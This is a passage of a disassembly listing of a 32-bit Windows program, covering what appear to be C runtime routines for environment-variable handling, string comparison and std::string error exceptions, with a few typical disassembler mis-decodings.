		leave
		retn
sub_41F6FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F778	proc near		; CODE XREF: sub_41F3E9+5Ep
					; sub_41FC29+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41F785
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F785:				; CODE XREF: sub_41F778+7j
		push	ds:dword_46A884
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_46AAA4
		call	sub_41F825
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F7B2
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F778+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41F778	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F7B7	proc near		; CODE XREF: sub_41F3E9+1Ep
					; seg000:0041FAFDp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_469494
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41F818
		mov	ebx, ds:dword_421138


loc_41F7D0:				; CODE XREF: sub_41F7B7+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41F820
		push	ebp
		call	sub_415DA9
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41F820
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_41F820
		push	edi
		push	[esp+18h+var_4]
		call	loc_41FAA2
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41F7D0


loc_41F818:				; CODE XREF: sub_41F7B7+11j
		xor	eax, eax


loc_41F81A:				; CODE XREF: sub_41F7B7+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41F820:				; CODE XREF: sub_41F7B7+29j
					; sub_41F7B7+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F81A
sub_41F7B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F825	proc near		; CODE XREF: sub_41F778+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421C20
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	ds:dword_469748, ebx
		push	1
		pop	edi
		jnz	short loc_41F898
		push	edi
		mov	eax, offset dword_421870
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_421008
		test	eax, eax
		jz	short loc_41F875
		mov	ds:dword_469748, edi
		jmp	short loc_41F898
; ---------------------------------------------------------------------------


loc_41F875:				; CODE XREF: sub_41F825+46j
		push	edi
		mov	eax, offset dword_438FA4
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_42100C
		test	eax, eax
		jz	loc_41FA8E
		mov	ds:dword_469748, 2


loc_41F898:				; CODE XREF: sub_41F825+31j
					; sub_41F825+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41F8AF
		push	esi
		push	[ebp+arg_8]
		call	sub_41BF75
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41F8AF:				; CODE XREF: sub_41F825+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F8C4
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41BF75
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41F8C4:				; CODE XREF: sub_41F825+8Dj
		mov	eax, ds:dword_469748
		cmp	eax, 2
		jnz	short loc_41F8E9
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_42100C
		jmp	loc_41FA90
; ---------------------------------------------------------------------------


loc_41F8E9:				; CODE XREF: sub_41F825+A7j
		cmp	eax, edi
		jnz	loc_41FA8E
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41F8FE
		mov	eax, ds:dword_469508
		mov	[ebp+arg_18], eax


loc_41F8FE:				; CODE XREF: sub_41F825+CFj
		cmp	esi, ebx
		jz	short loc_41F90B
		cmp	[ebp+arg_14], ebx
		jnz	loc_41F9A3


loc_41F90B:				; CODE XREF: sub_41F825+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41F918


loc_41F910:				; CODE XREF: sub_41F825+13Cj
					; sub_41F825+16Dj
		push	2


loc_41F912:				; CODE XREF: sub_41F825+146j
		pop	eax
		jmp	loc_41FA90
; ---------------------------------------------------------------------------


loc_41F918:				; CODE XREF: sub_41F825+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41F924


loc_41F91D:				; CODE XREF: sub_41F825+151j
					; sub_41F825+159j ...
		mov	eax, edi
		jmp	loc_41FA90
; ---------------------------------------------------------------------------


loc_41F924:				; CODE XREF: sub_41F825+F6j
		cmp	esi, edi
		jg	short loc_41F969
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 0E02CF4EBh
		pushf
		test	eax, eax
		jz	loc_41FA8E
		cmp	esi, ebx
		jle	short loc_41F96D
		cmp	[ebp+var_3C], 2
		jb	short loc_41F969
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F969


loc_41F94F:				; CODE XREF: sub_41F825+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F969
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F963
		cmp	cl, dl
		jbe	short loc_41F910


loc_41F963:				; CODE XREF: sub_41F825+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F94F


loc_41F969:				; CODE XREF: sub_41F825+101j
					; sub_41F825+120j ...
		push	3
		jmp	short loc_41F912
; ---------------------------------------------------------------------------


loc_41F96D:				; CODE XREF: sub_41F825+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41F9A3
		cmp	[ebp+var_3C], 2
		jb	short loc_41F91D
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41F91D


loc_41F980:				; CODE XREF: sub_41F825+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41F91D
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41F998
		cmp	cl, dl
		jbe	loc_41F910


loc_41F998:				; CODE XREF: sub_41F825+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F980
		jmp	loc_41F91D
; ---------------------------------------------------------------------------


loc_41F9A3:				; CODE XREF: sub_41F825+E0j
					; sub_41F825+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_421064
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41FA8E
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41F9F2
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41F9F2:				; CODE XREF: sub_41F825+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41FA8E
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_421064
		call	esi
		test	eax, eax
		jz	short loc_41FA8E
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41FA8E
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41FA5D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41FA5D:				; CODE XREF: sub_41F825+224j
		cmp	edi, ebx
		jz	short loc_41FA8E
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_421064
		test	eax, eax
		jz	short loc_41FA8E
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_421008
		jmp	short loc_41FA90
; ---------------------------------------------------------------------------


loc_41FA8E:				; CODE XREF: sub_41F825+63j
					; sub_41F825+C6j ...
		xor	eax, eax


loc_41FA90:				; CODE XREF: sub_41F825+BFj
					; sub_41F825+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F825	endp

; ---------------------------------------------------------------------------


loc_41FAA2:				; CODE XREF: sub_41F7B7+50p
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+8], edi
		jz	short loc_41FB06
		push	3Dh
		push	dword ptr [ebp+8]
		call	sub_41FCE8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp-8], esi
		jz	short loc_41FB06
		cmp	[ebp+8], esi
		jz	short loc_41FB06
		mov	eax, ds:dword_46948C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_469490
		jnz	short loc_41FAEC
		push	eax
		call	sub_41FC81
		pop	ecx
		mov	ds:dword_46948C, eax


loc_41FAEC:				; CODE XREF: seg000:0041FADEj
		cmp	eax, edi
		jnz	short loc_41FB44
		cmp	[ebp+0Ch], edi
		jz	short loc_41FB0E
		cmp	ds:dword_469494, edi
		jz	short loc_41FB0E
		call	sub_41F7B7
		test	eax, eax
		jz	short loc_41FB44


loc_41FB06:				; CODE XREF: seg000:0041FAAFj
					; seg000:0041FAC4j ...
		or	eax, 0FFFFFFFFh


loc_41FB09:				; CODE XREF: seg000:0041FC24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FB0E:				; CODE XREF: seg000:0041FAF3j
					; seg000:0041FAFBj
		cmp	ebx, edi
		jnz	loc_41FC22
		push	4
		call	sub_415DA9
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_46948C, eax
		jz	short loc_41FB06
		mov	[eax], edi
		cmp	ds:dword_469494, edi
		jnz	short loc_41FB44
		push	4
		call	sub_415DA9
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_469494, eax
		jz	short loc_41FB06
		mov	[eax], edi


loc_41FB44:				; CODE XREF: seg000:0041FAEEj
					; seg000:0041FB04j ...
		sub	esi, [ebp+8]
		mov	edi, ds:dword_46948C
		mov	[ebp-4], edi
		push	esi
		push	dword ptr [ebp+8]
		call	sub_41FC29
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41FBA4
		cmp	dword ptr [edi], 0
		jz	short loc_41FBA4
		test	ebx, ebx
		jz	short loc_41FB9C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415E1D
		pop	ecx


loc_41FB76:				; CODE XREF: seg000:0041FB84j
		cmp	dword ptr [edi], 0
		jz	short loc_41FB86
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41FB76
; ---------------------------------------------------------------------------


loc_41FB86:				; CODE XREF: seg000:0041FB79j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	dword ptr [ebp-4]
		call	sub_4174BF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FBD6
		jmp	short loc_41FBD1
; ---------------------------------------------------------------------------


loc_41FB9C:				; CODE XREF: seg000:0041FB68j
		mov	eax, [ebp+8]
		mov	[edi+esi*4], eax
		jmp	short loc_41FBD6
; ---------------------------------------------------------------------------


loc_41FBA4:				; CODE XREF: seg000:0041FB5Fj
					; seg000:0041FB64j
		test	ebx, ebx
		jnz	short loc_41FC22
		test	esi, esi
		jge	short loc_41FBAE
		neg	esi


loc_41FBAE:				; CODE XREF: seg000:0041FBAAj
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4174BF
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41FB06
		mov	ecx, [ebp+8]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41FBD1:				; CODE XREF: seg000:0041FB9Aj
		mov	ds:dword_46948C, eax


loc_41FBD6:				; CODE XREF: seg000:0041FB98j
					; seg000:0041FBA2j
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_41FC22
		push	dword ptr [ebp+8]
		call	sub_415CD0
		inc	eax
		inc	eax
		push	eax
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41FC22
		push	dword ptr [ebp+8]
		push	esi
		call	sub_415BE0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+8]
		pop	ecx
		add	eax, [ebp-8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 8A78B431h
		rcl	dword ptr [esi-18h], cl
		cld
		popa
; ---------------------------------------------------------------------------
		db 0FFh
		db 0FFh, 59h
; ---------------------------------------------------------------------------


loc_41FC22:				; CODE XREF: seg000:0041FB10j
					; seg000:0041FBA6j ...
		xor	eax, eax
		jmp	loc_41FB09

; =============== S U B	R O U T	I N E =======================================



sub_41FC29	proc near		; CODE XREF: seg000:0041FB54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_46948C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41FC64
		mov	edi, [esp+8+arg_4]


loc_41FC3B:				; CODE XREF: sub_41FC29+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41F778
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41FC5A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41FC74
		test	al, al
		jz	short loc_41FC74


loc_41FC5A:				; CODE XREF: sub_41FC29+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41FC3B


loc_41FC64:				; CODE XREF: sub_41FC29+Cj
		mov	eax, esi
		sub	eax, ds:dword_46948C
		sar	eax, 2
		neg	eax


loc_41FC71:				; CODE XREF: sub_41FC29+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FC74:				; CODE XREF: sub_41FC29+2Bj
					; sub_41FC29+2Fj
		mov	eax, esi
		sub	eax, ds:dword_46948C
		sar	eax, 2
		jmp	short loc_41FC71
sub_41FC29	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FC81	proc near		; CODE XREF: seg000:0041FAE1p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41FC90
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41FC90:				; CODE XREF: sub_41FC81+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41FCA2


loc_41FC98:				; CODE XREF: sub_41FC81+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41FC98


loc_41FCA2:				; CODE XREF: sub_41FC81+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41FCC3
		push	9
		call	sub_417BCE
		pop	ecx


loc_41FCC3:				; CODE XREF: sub_41FC81+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41FCC7:				; CODE XREF: sub_41FC81+5Bj
		test	eax, eax
		jz	short loc_41FCDE
		push	eax
		add	ebx, 4
		call	sub_41FD5B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41FCC7
; ---------------------------------------------------------------------------


loc_41FCDE:				; CODE XREF: sub_41FC81+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41FC81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FCE8	proc near		; CODE XREF: seg000:0041FAB6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_46A89C, 0
		jnz	short loc_41FD03
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417060
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD03:				; CODE XREF: sub_41FCE8+Aj
		mov	ecx, [ebp+arg_0]


loc_41FD06:				; CODE XREF: sub_41FCE8+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41FD49
		movzx	edx, al
		test	ds:byte_46A9A1[edx], 4
		jz	short loc_41FD35
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41FD40
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41FD44
		jmp	short loc_41FD3D
; ---------------------------------------------------------------------------


loc_41FD35:				; CODE XREF: sub_41FCE8+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41FD49


loc_41FD3D:				; CODE XREF: sub_41FCE8+4Bj
		inc	ecx
		jmp	short loc_41FD06
; ---------------------------------------------------------------------------


loc_41FD40:				; CODE XREF: sub_41FCE8+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD44:				; CODE XREF: sub_41FCE8+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FD49:				; CODE XREF: sub_41FCE8+25j
					; sub_41FCE8+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41FCE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD5B	proc near		; CODE XREF: sub_40998E+21p
					; sub_41FC81+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41FD82
		push	esi
		call	sub_415CD0
		inc	eax
		push	eax
		call	sub_415DA9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41FD82
		push	esi
		push	eax
		call	sub_415BE0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FD82:				; CODE XREF: sub_41FD5B+7j
					; sub_41FD5B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41FD5B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41FD90	proc near		; CODE XREF: sub_404B1E+15p
					; sub_404B77+15p ...
		mov	eax, offset loc_420280
		call	sub_416438
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_415CD0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FDEA
		lea	eax, [ebp-3Ch]
		push	offset dword_421F80
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C3C
		call	sub_4201E9
		pop	esi
sub_41FD90	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FDEA	proc near		; CODE XREF: sub_41FD90+3Fp
					; sub_41FFBC+3Fp
		mov	eax, offset loc_420294
		call	sub_416438
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_438F8C
		call	sub_42010E
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	ds:dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FDEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE4E	proc near		; DATA XREF: seg001:00421C40o
					; seg001:00421C60o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41FE5A
		mov	eax, offset dword_421258

locret_41FE5A:				; CODE XREF: sub_41FE4E+5j
		retn
sub_41FE4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE5B	proc near		; DATA XREF: seg001:00421C64o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FED1
		lea	eax, [ebp+var_1C]
		push	offset dword_421FF0
		push	eax
		call	sub_4201E9
sub_41FE5B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FE78	proc near		; CODE XREF: seg000:0041FEB8p
					; DATA XREF: seg001:00421FF4o
		mov	eax, offset loc_4202A8
		call	sub_416438
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420195
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FE78	endp

; ---------------------------------------------------------------------------


loc_41FEB5:				; DATA XREF: seg001:off_421C5Co
		push	esi
		mov	esi, ecx
		call	sub_41FE78
		test	byte ptr [esp+8], 1
		jz	short loc_41FECB
		push	esi
		call	sub_416457
		pop	ecx


loc_41FECB:				; CODE XREF: seg000:0041FEC2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41FED1	proc near		; CODE XREF: sub_41FE5B+Ap
					; sub_41FFA4+7p ...
		mov	eax, offset loc_4202BC
		call	sub_416438
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_42014B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_404D21
		push	ds:dword_421248
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_404BCE
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_421C5C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41FED1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FF2E	proc near		; CODE XREF: sub_41FF6B+20p
					; DATA XREF: seg001:00421F84o
		mov	eax, offset loc_4202D0
		call	sub_416438
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420195
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41FF2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF6B	proc near		; DATA XREF: seg001:00421C44o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41FFA4
		lea	eax, [ebp+var_1C]
		push	offset dword_421F80
		push	eax
		call	sub_4201E9


loc_41FF88:				; DATA XREF: seg001:off_421C3Co
		push	esi
		mov	esi, ecx
		call	sub_41FF2E
		test	[esp+20h+var_18], 1
		jz	short loc_41FF9E
		push	esi
		call	sub_416457
		pop	ecx


loc_41FF9E:				; CODE XREF: sub_41FF6B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41FF6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FFA4	proc near		; CODE XREF: sub_41FF6B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FED1
		mov	dword ptr [esi], offset	off_421C3C
		mov	eax, esi
		pop	esi
		retn	4
sub_41FFA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFBC	proc near		; CODE XREF: sub_404BCE+13p
					; sub_404D92+Ep
		mov	eax, offset loc_4202E4
		call	sub_416438
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_404D21
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_415CD0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_404D5D
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41FDEA
		lea	eax, [ebp-3Ch]
		push	offset dword_4220A8
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_421C6C
		call	sub_4201E9
		pop	esi
sub_41FFBC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420016	proc near		; CODE XREF: sub_420053+20p
					; DATA XREF: seg001:004220ACo
		mov	eax, offset loc_4202F8
		call	sub_416438
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_421C5C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_420195
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_420016	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420053	proc near		; DATA XREF: seg001:00421C74o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_42008C
		lea	eax, [ebp+var_1C]
		push	offset dword_4220A8
		push	eax
		call	sub_4201E9


loc_420070:				; DATA XREF: seg001:off_421C6Co
		push	esi
		mov	esi, ecx
		call	sub_420016
		test	[esp+20h+var_18], 1
		jz	short loc_420086
		push	esi
		call	sub_416457
		pop	ecx


loc_420086:				; CODE XREF: sub_420053+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_420053	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_420053+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41FED1
		mov	dword ptr [esi], offset	off_421C6C
		mov	eax, esi
		pop	esi
		retn	4
sub_42008C	endp


